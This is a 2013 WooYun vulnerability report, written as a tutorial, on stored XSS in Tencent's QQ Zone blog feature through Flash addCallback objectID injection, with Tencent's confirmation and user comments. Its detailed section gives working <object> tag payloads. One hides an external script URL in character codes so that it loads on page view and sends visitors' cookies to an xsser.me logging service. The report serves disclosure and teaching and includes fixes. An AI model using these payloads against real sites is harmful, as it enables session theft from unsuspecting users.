漏洞概要 关注数(48) 关注此漏洞

缺陷编号: WooYun-2013-16803

漏洞标题: [腾讯实例教程] 那些年我们一起学XSS - 21. 存储型XSS进阶 [猜测规则,利用Flash addCallback构造XSS]

相关厂商: 腾讯

漏洞作者: 心伤的瘦子

提交时间: 2013-01-01 21:44

公开时间: 2013-02-15 21:44

漏洞类型: xss跨站脚本攻击

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

Tags标签: 存储型xss xss利用技巧 flash应用安全

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-01: 细节已通知厂商并且等待厂商处理中
2013-01-05: 厂商已经确认,细节仅向厂商公开
2013-01-15: 细节向核心白帽子及相关领域专家公开
2013-01-25: 细节向普通白帽子公开
2013-02-04: 细节向实习白帽子公开
2013-02-15: 细节向公众公开

简要描述:

有些时候,我们拿现成的XSS代码都不行,都被过滤了,那么需要我们对过滤的规则进行一定的判断与猜测。然后针对性的使用一些技巧来适应或者绕过规则。

在本例中,我们以QQ空间/QQ校友的日志功能为例,通过猜测简单的过滤规则,然后使用含有addCallback的flash,来实现了存储型XSS的构造。

详细说明:

1. 前提:本例需在IE9,IE10下进行。



2. 我们乌云上报告的一些已有案例,进行了再次测试。



WooYun: PKAV腾讯专场 - 6. (QQ空间+朋友网)日志功能存储型XSS



上例中,提到了QQ空间日志并未对object标签进行有效的过滤。



3. 我们根据此例中的代码对过滤规则进行测试:



<object width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="Src" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always">





以上的代码,是可以正常提交,并且未过滤的。



<object width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://mysite.com/vphoto.swf"><PARAM NAME="Src" VALUE="http://mysite.com/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always">





而当swf的域名不是qzs.qq.com时候,代码将会被过滤为以下内容。



<object width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="AllowScriptAccess" VALUE="always">





即地址被去掉了。



4. 那么我们已知了这个过滤规则, 就有2种绕过的方式。



4.1 找到一个qzs.qq.com域名下存在缺陷的FLASH,然后加以利用。



此方法,已经在 @gainover 的 WooYun: PKAV腾讯专场 - 6. (QQ空间+朋友网)日志功能存储型XSS 有所介绍了。



4.2 利用Flash的addcallback缺陷来构造存储型XSS。



5. 首先说下flash addcallback方法的基本原理。



根据flash sdk 里的源代码,我们可以得到flash addcallback 的源代码中有以下代码。



if ((((activeX == true)) && (!((objectID == null))))){
_evalJS((((("__flash__addCallback(document.getElementById(\"" + objectID) + "\"), \"") + functionName) + "\");"));
};





picture\4_108.jpg





其中objectID为调用FLASH的HTML标签的ID。functionName则为被JS所调用的函数名称。



6. 当我们有以下代码时:



<object id="aaaa" width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="Src" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always">





且http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf 中存在一句



ExternalInterface.addCallback("myfunc",funcInFlash);



则有

objectID="aaaa";
functionName="myfunc";





代入上面那句_evalJS中,则有



__flash__addCallback(document.getElementById("aaaa"), "myfunc");





7. 那么我们可以想象一下,如果 aaaa 替换为 aaaa"),alert(1),("



则上面代码变为



__flash__addCallback(document.getElementById("aaaa"),alert(1),(""), "myfunc");





解析:



picture\7_104.jpg





8. 且FLASH中,确实未对objectID做任何过滤。 基于以上内容,我们可以构建利用代码。



<object id='aaaa"),alert(1),("' width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="Src" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always">





我们自己用上面这段代码先在自己网站上测试下:



picture\10_105.jpg





看,果然id里的代码被执行了!



9. 利用以上原理,接着我们在QQ空间里来做测试,至于FLASH么,就是现成的!



虽然这个FLASH里没有缺陷,但是存在addCallback的调用,我们就可以直接用它。



<object width="100%" height="100%" align="middle" id="xsstest1&quot),(function(){if(!window.__x){window.__x=1;window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,101,114,46,109,101,47,66,113,112,57,82,121);document.body.appendChild(window.s);}})(),(&quot;" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="Src" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always">





发布日志,使用以上代码



picture\13_106.jpg





10. 当用户访问含有XSS代码的日志后,我们可以在xsser.me查看所记录的cookies内容。



picture\16_107.jpg



漏洞证明:

见详细说明,仅IE9, 10 受影响。QQ空间/校友同时受影响。

修复方案:

1. 过滤object标签

2. 设置allowscriptaccess为never ,即使设置为 sameDomain, 也可能找到同域下含有addCallback调用的FLASH。

版权声明:转载请注明来源 心伤的瘦子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2013-01-05 10:29

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评论

这些评论似乎很乌云~~~思密达
  1. 2013-01-09 20:15 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 嘿,我崇拜你们来了)

    补充:后测试,由于测试环境出错导致之前误以为仅IE9,10可行,其实这个漏洞,IE8下测试也是通过的。 感谢@p.z 大牛指出。 IE6,7大家自己去测试。 @xsser 来,评论思密达一下!

  1. 2013-01-01 22:45 | 钱途 ( 普通白帽子 | Rank:183 漏洞数:35 | 哥真不是坐黑产的)
    1

    沙发

  2. 2013-01-01 22:54 | se55i0n ( 普通白帽子 | Rank:1156 漏洞数:129 | 我是一名白帽子,简称小白!)
    0

    @xsser 剑心,节目预告系统貌似不完美呀,表示21集没收到提示呀~

  3. 2013-01-01 23:06 | dyun ( 实习白帽子 | Rank:75 漏洞数:12 )
    0

    @xsser 确实是呀,这不科学

  4. 2013-01-01 23:56 | px1624 ( 普通白帽子 | Rank:438 漏洞数:57 | 电脑业余爱好者,菜鸟一个,是来交流学习的...)
    0

    mark、、

  5. 2013-01-02 04:20 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 嘿,我崇拜你们来了)
    0

    老婆给当程序员的老公打电话:“下班顺路买一斤包子带回来,如果看到卖西瓜的,买一个。”当晚,程序员老公手捧一个包子进了家门。。。老婆怒道:“你怎么就买了一个包子?!”老公答曰:“因为看到了卖西瓜的”

  6. 2013-01-02 11:07 | gainover (核心白帽子 | Rank:1170 漏洞数:64 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
    1

    @心伤的瘦子 这么老的段子你也发。。。

  7. 2013-01-02 11:10 | px1624 ( 普通白帽子 | Rank:438 漏洞数:57 | 电脑业余爱好者,菜鸟一个,是来交流学习的...)
    0

    猛然发现4 5 6楼的描述最后都有个 ...

  8. 2013-01-02 11:58 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 嘿,我崇拜你们来了)
    0

    @gainover 夜深人静时刻比较怀旧

  9. 2013-01-04 15:51 | 疯子 ( 普通白帽子 | Rank:146 漏洞数:22 | 世人笑我太疯癫,我笑世人看不穿~)
    0

    我没收到提示啊,我还追星呢!!!@xsser 这功能怎么回事啊?

  10. 2013-01-06 16:20 | TituX ( 实习白帽子 | Rank:19 漏洞数:3 | <script></script>)
    0

    手动来关注了~一定是播预告的都被感化了

  11. 2013-01-06 18:08 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    0

    @心伤的瘦子 二哥我爱你

  12. 2013-01-06 21:14 | LittlePig ( 实习白帽子 | Rank:5 漏洞数:2 | </html>)
    0

    rank竟然不是15,这不科学

  13. 2013-01-09 20:15 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 嘿,我崇拜你们来了)
    0

    补充:后测试,由于测试环境出错导致之前误以为仅IE9,10可行,其实这个漏洞,IE8下测试也是通过的。 感谢@p.z 大牛指出。 IE6,7大家自己去测试。 @xsser 来,评论思密达一下!

  14. 2013-01-11 13:02 | KKZ ( 实习白帽子 | Rank:1 漏洞数:1 | 无介绍)
    0

    大哥,你耗上腾讯了

  15. 2013-01-14 18:43 | xsser (核心白帽子 | Rank:249 漏洞数:17 | Live free or Die!)
    0

    @心伤的瘦子 已思密达

  16. 2013-01-14 18:50 | px1624 ( 普通白帽子 | Rank:438 漏洞数:57 | 电脑业余爱好者,菜鸟一个,是来交流学习的...)
    0

    @xsser 可以弄个道具,评论思密达,1WB,10次

  17. 2013-01-19 16:52 | DragonEgg ( 实习白帽子 | Rank:56 漏洞数:8 | 冷漠无情的绅士,温柔善良的坏蛋。)
    0

    看不到。。看不到,,舍不得乌云币思密达。。T.T

  18. 2013-01-21 12:43 | x1aoh4i ( 实习白帽子 | Rank:70 漏洞数:11 )
    0

    @心伤的瘦子 我们想采用你的文章 一直联系不到你 我们下期刊登 没意见就不用回复了 谢谢

  19. 2013-01-21 13:00 | px1624 ( 普通白帽子 | Rank:438 漏洞数:57 | 电脑业余爱好者,菜鸟一个,是来交流学习的...)
    0

    [img]http://aa.jpg[/img]

  20. 2013-01-21 13:01 | px1624 ( 普通白帽子 | Rank:438 漏洞数:57 | 电脑业余爱好者,菜鸟一个,是来交流学习的...)
    0

    <div class="good_replys_title"> 这些评论似乎很乌云~~~思密达 </div>

  21. 2013-04-04 23:50 | lucky ( 普通白帽子 | Rank:176 漏洞数:25 | 好好学习!天天向上!)
    0

    @心伤的瘦子 写的真好!学习了!教程太给力了!